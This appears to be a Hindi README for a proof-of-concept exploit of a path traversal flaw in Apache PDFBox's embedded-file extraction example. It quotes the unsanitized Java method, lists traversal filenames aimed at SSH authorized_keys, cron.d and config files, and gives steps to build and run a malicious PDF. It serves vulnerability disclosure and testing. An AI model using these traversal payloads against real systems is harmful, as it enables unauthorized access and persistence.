
Apache PDFBox पाथ ट्रैवर्सल भेद्यता (CVE-2026-23907) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो एम्बेडेड फ़ाइलों वाले दुर्भावनापूर्ण PDF के माध्यम से मनमाना फ़ाइल लेखन प्रदर्शित करता है।
Apache PDFBox का ExtractEmbeddedFiles उदाहरण कोड PDF से एम्बेडेड फाइलें निकालते समय फ़ाइलनामों को सैनिटाइज़ नहीं करता है। एक हमलावर पाथ ट्रैवर्सल अनुक्रम (../) वाली फाइलें एम्बेड कर सकता है ताकि फाइलें फाइलसिस्टम के मनमाने स्थानों पर लिखी जा सकें।
फ़ाइल: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
filename पैरामीटर सीधे PDF से बिना किसी सत्यापन के आता है।
SSH कुंजी इंजेक्शन
../../.ssh/authorized_keysक्रॉन जॉब इंजेक्शन
../../../etc/cron.d/maliciousकॉन्फ़िगरेशन अधिलेखन
../../config/database.ymlcreate_malicious_pdf.py - पाथ ट्रैवर्सल के साथ दुर्भावनापूर्ण PDF उत्पन्न करता हैTestPathTraversal.java - भेद्यता प्रदर्शित करता हैtest_path_traversal.sh - स्वचालित परीक्षण स्क्रिप्टmalicious_path_traversal.pdf - पूर्व-निर्मित दुर्भावनापूर्ण PDF./test_path_traversal.sh
# 1. दुर्भावनापूर्ण PDF उत्पन्न करें
python3 create_malicious_pdf.py
# 2. परीक्षण संकलित करें (PDFBox JAR आवश्यक है)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. परीक्षण चलाएँ
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. पाथ ट्रैवर्सल सत्यापित करें
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.java उदाहरण कोडPDComplexFileSpecification.getFilename() को कॉल करने वाला कोई भी कोड